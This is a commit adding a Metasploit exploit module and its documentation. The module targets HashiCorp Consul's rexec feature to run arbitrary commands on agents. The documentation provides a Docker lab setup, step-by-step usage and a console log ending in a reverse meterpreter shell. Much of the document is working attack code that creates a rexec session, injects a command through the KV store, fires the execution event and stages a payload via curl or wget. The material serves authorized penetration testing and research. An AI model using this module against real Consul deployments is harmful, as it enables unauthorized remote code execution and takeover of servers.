Land #10444, add Consul rexec RCE module

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-12-28 09:14:28 -06:00
commit 29e7c49332
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
2 changed files with 283 additions and 0 deletions

View File

@ -0,0 +1,107 @@
## Vulnerable Application
[HashiCorp Consul](https://www.consul.io/) with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9).
### Description
This module exploits a feature of Hashicorp Consul named rexec.
The exec command provides a mechanism for remote execution. For example, this can be used to run the uptime command across all machines providing the web service.
The exposure of rexec service depends on the `disable_remote_exec` option. This option was set to true starting from Consul 0.8, to make remote exec opt-in instead of opt-out.
#### References
* Consul Exec - https://www.consul.io/docs/commands/exec.html
* Consul _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec
* Inspiration from Garfield PoC - https://github.com/torque59/Garfield
### Test setup
The following bash script can be used to setup a testing environment with Docker:
```
#!/bin/sh
echo "[+] Launching consul instances..."
BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:latest agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul`
sleep 2
BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID`
docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:latest agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP
echo "[+] Checking members..."
docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500"
```
You should observe something similar to the excerpt below when running the script:
```
sudo ./launch.sh
[+] Launching consul instances...
d28e7cf476ff2f148cad81a0b1959a7c67591c2e348c6172b6f463af66d1eb9a
[+] Checking members...
Node Address Status Type Build Protocol DC Segment
38a7c1d93e7f 172.17.0.1:8301 alive server 1.4.0 2 dc1 <all>
d28e7cf476ff 172.17.0.2:8301 alive client 1.4.0 2 dc1 <default>
```
The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time):
```
#!/bin/sh
for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do docker stop $h && docker rm $h; done
```
## Verification Steps
You can verify the module against the vulnerable application with those steps:
1. Launch a Consul cluster with the provided bash script
2. Start msfconsole
3. Do: `use exploit/multi/misc/consul_rexec_exec`
4. Do: `set RHOST ip_of_consul_container`
5. Do: `set RPORT 8500`
6. Do: `check`. The target should appear vulnerable.
7. Do: `set payload` with the payload of your choosing.
8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP)
9. Do: `run`
10. You should get a shell.
## Scenarios
### Reverse shell on Linux host
Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target:
```
msf5 > use exploit/multi/misc/consul_rexec_exec
msf5 exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4
RHOSTS => 172.17.0.4
msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1
LHOST => 172.17.42.1
msf5 exploit(multi/misc/consul_rexec_exec) > check
[+] 172.17.0.4:8500 The target is vulnerable.
msf5 exploit(multi/misc/consul_rexec_exec) > run
[*] Started reverse TCP handler on 172.17.42.1:4444
[*] Creating session.
[*] Got rexec session ID b39ba52e-848d-9dc4-dc1e-e84760062335
[*] Setting command for rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
[*] Triggering execution on rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
[*] Sending stage (861480 bytes) to 172.17.0.4
[*] Cleaning up rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
[*] Command Stager progress - 115.73% done (883/763 bytes)
meterpreter > sysinfo
Computer : 172.17.0.4
OS : (Linux 4.4.0-38-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit
```

View File

@ -0,0 +1,176 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
'Description' => %q{
This module exploits a feature of Hashicorp Consul named rexec.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
[ 'URL', 'https://github.com/torque59/Garfield' ]
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => {},
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 11 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500)
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "/v1/agent/self"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
begin
agent_info = JSON.parse(res.body)
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end
end
def execute_command(cmd, opts = {})
uri = target_uri.path
print_status('Creating session.')
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/session/create'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
})
if res and res.code == 200
begin
sess = JSON.parse(res.body)
print_status("Got rexec session ID #{sess['ID']}")
rescue JSON::ParseError
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
end
end
print_status("Setting command for rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
print_status("Triggering execution on rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
})
if res and not res.code == 200
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
begin
Timeout.timeout(datastore['TIMEOUT']) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
begin
data = JSON.parse(res.body)
break if data.include? 'out'
rescue JSON::ParseError
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
end
sleep 2
end
rescue Timeout::Error
# we catch this error so cleanup still happen afterwards
print_status("Timeout hit, error with payload ?")
end
print_status("Cleaning up rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
end
def exploit
execute_cmdstager()
end
end